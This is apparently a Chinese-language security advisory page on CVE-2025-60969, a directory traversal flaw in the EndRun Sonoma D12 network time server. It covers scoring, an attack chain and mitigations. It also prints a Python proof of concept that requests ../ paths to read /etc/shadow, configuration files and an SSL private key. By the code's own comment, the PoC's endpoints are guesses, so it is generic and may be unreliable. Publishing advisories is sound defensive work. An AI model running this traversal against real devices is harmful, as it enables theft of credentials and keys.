IPBUF安全漏洞报告
English
CVE-2025-60969 CVSS 5.7 中危

CVE-2025-60969 EndRun Sonoma D12网络时间服务器目录遍历漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-60969
漏洞类型
目录遍历(Directory Traversal)
CVSS评分
5.7 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
EndRun Technologies Sonoma D12 Network Time Server (GPS)

相关标签

目录遍历Directory Traversal路径遍历Path Traversal信息泄露Information DisclosureEndRunSonoma D12NTP服务器Network Time Server

漏洞概述

CVE-2025-60969是EndRun Technologies公司生产的Sonoma D12网络时间服务器(GPS授时设备)固件版本F/W 6010-0076-000 Ver 4.00中存在的一个目录遍历漏洞。该漏洞于2025年10月6日由MITRE组织披露,CVSS 3.1评分为5.7分,属于中危级别漏洞。

Sonoma D12是一款高精度GPS网络时间服务器(NTP),广泛应用于电信、金融、电力、政府等关键基础设施领域,为网络设备提供精确的时间同步服务。由于NTP服务器在网络基础设施中的核心地位,其安全性直接影响整个网络的稳定运行。

该目录遍历漏洞允许经过低权限认证的攻击者通过网络访问,利用路径遍历技术读取服务器文件系统中的敏感信息。攻击者无需管理员权限即可发起攻击,但需要用户进行一定的交互操作。漏洞对机密性影响为高,攻击者可能获取系统配置文件、密钥、日志等敏感数据,但不会影响系统完整性和可用性。

该漏洞由xDiv-Sec安全研究团队发现并报告,其详细的技术研究报告发布在xdiv-sec.github.io网站上。研究人员通过分析设备固件和网络服务接口,发现了Web管理界面中存在的路径遍历缺陷。

技术细节

目录遍历漏洞(Directory Traversal),也被称为路径遍历漏洞(Path Traversal),是一种常见的Web安全漏洞。其根本原因在于应用程序未能充分验证用户输入的文件路径,导致攻击者可以使用特殊字符(如../或..\)跳出预期的目录限制,访问服务器文件系统中的任意文件。

在Sonoma D12的固件版本F/W 6010-0076-000 Ver 4.00中,Web管理界面的文件访问接口未对用户请求中的路径参数进行严格的过滤和规范化处理。攻击者可以通过构造包含路径遍历序列的HTTP请求,绕过Web服务器的目录访问控制。

具体利用方式如下:
1. 攻击者首先通过低权限用户账户登录Sonoma D12的Web管理界面;
2. 在登录状态下,构造包含../序列的文件下载或读取请求;
3. 例如,访问类似http://target/download?file=../../../etc/passwd或http://target/view?path=../../config/system.cfg的URL;
4. 服务器在处理该请求时,未对路径进行规范化处理,直接将拼接后的路径用于文件读取操作;
5. 攻击者从而能够读取Web根目录之外的系统敏感文件,如配置文件、密码哈希、私钥证书等。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N,表示通过网络即可利用,攻击复杂度低,仅需低权限认证,但需要用户交互(如点击恶意链接或访问特制页面)。成功利用后,攻击者可获取敏感信息(C:H),但不会修改数据或造成服务中断。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或资产识别发现目标网络中存在EndRun Sonoma D12网络时间服务器,确认目标设备的固件版本为F/W 6010-0076-000 Ver 4.00。
STEP 2
步骤2:获取低权限凭证
攻击者通过社会工程学、默认凭证、凭证填充攻击或其他方式获取Sonoma D12 Web管理界面的低权限用户账户凭证。
STEP 3
步骤3:登录管理界面
使用获取的低权限凭证登录Sonoma D12的Web管理界面,建立有效的会话(Session)。
STEP 4
步骤4:构造目录遍历请求
在已认证的会话中,攻击者构造包含../路径遍历序列的HTTP请求,尝试访问Web根目录之外的系统文件。
STEP 5
步骤5:读取敏感文件
服务器未对路径参数进行充分验证,攻击者成功读取系统配置文件、密码文件、SSL私钥、NTP配置等敏感信息。
STEP 6
步骤6:信息利用与权限提升
攻击者利用获取的敏感信息(如管理员密码哈希、配置密钥等)进行进一步的攻击,可能导致权限提升或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-60969 - EndRun Sonoma D12 Directory Traversal PoC # Author: Security Research # Description: Exploits directory traversal vulnerability in Sonoma D12 NTP Server # Affected: F/W 6010-0076-000 Ver 4.00 import requests import sys from urllib.parse import quote TARGET_URL = "http://target-sonoma-d12" USERNAME = "low_priv_user" PASSWORD = "password123" # Files to attempt to read via directory traversal SENSITIVE_FILES = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../../config/system.cfg", "../../../conf/ntp.conf", "../../../../opt/endrun/config.ini", "../../../../var/log/messages", "../../../../etc/ssl/private/server.key", ] def login(session, base_url, username, password): """Authenticate to the Sonoma D12 web management interface""" login_url = f"{base_url}/login.cgi" data = { "username": username, "password": password } resp = session.post(login_url, data=data, allow_redirects=False) if resp.status_code == 302 or "session" in resp.headers.get("Set-Cookie", ""): print(f"[+] Successfully logged in as {username}") return True print(f"[-] Login failed") return False def exploit_traversal(session, base_url, traversal_path): """Attempt directory traversal to read sensitive files""" # Common vulnerable endpoints in NTP server web interfaces endpoints = [ f"{base_url}/cgi-bin/download.cgi?file={quote(traversal_path)}", f"{base_url}/cgi-bin/viewfile.cgi?path={quote(traversal_path)}", f"{base_url}/download?file={quote(traversal_path)}", f"{base_url}/file?path={quote(traversal_path)}", ] for url in endpoints: try: resp = session.get(url, timeout=10) if resp.status_code == 200 and len(resp.content) > 0: content_type = resp.headers.get("Content-Type", "") if "text" in content_type or "octet-stream" in content_type: print(f"[+] VULNERABLE - URL: {url}") print(f"[+] Content preview:\n{resp.text[:500]}") return resp.text except requests.RequestException: continue return None def main(): target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL session = requests.Session() print(f"[*] Targeting: {target}") print(f"[*] CVE-2025-60969 - Directory Traversal in Sonoma D12") if not login(session, target, USERNAME, PASSWORD): print("[-] Cannot proceed without valid credentials") sys.exit(1) for file_path in SENSITIVE_FILES: print(f"\n[*] Attempting to read: {file_path}") result = exploit_traversal(session, target, file_path) if result: print(f"[+] Successfully extracted file contents") break if __name__ == "__main__": main()

影响范围

EndRun Sonoma D12 F/W 6010-0076-000 Ver 4.00

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制Sonoma D12 Web管理界面的网络访问,仅允许可信管理终端通过VPN或专用网络进行访问;2)修改默认管理员和用户密码,使用强密码策略;3)监控Web管理日志,及时发现异常的路径访问请求;4)如非必要,关闭Web管理界面的远程访问功能,仅通过串口或本地网络进行管理;5)部署网络层面的入侵检测系统(IDS/IPS),配置目录遍历攻击特征规则进行实时检测和告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表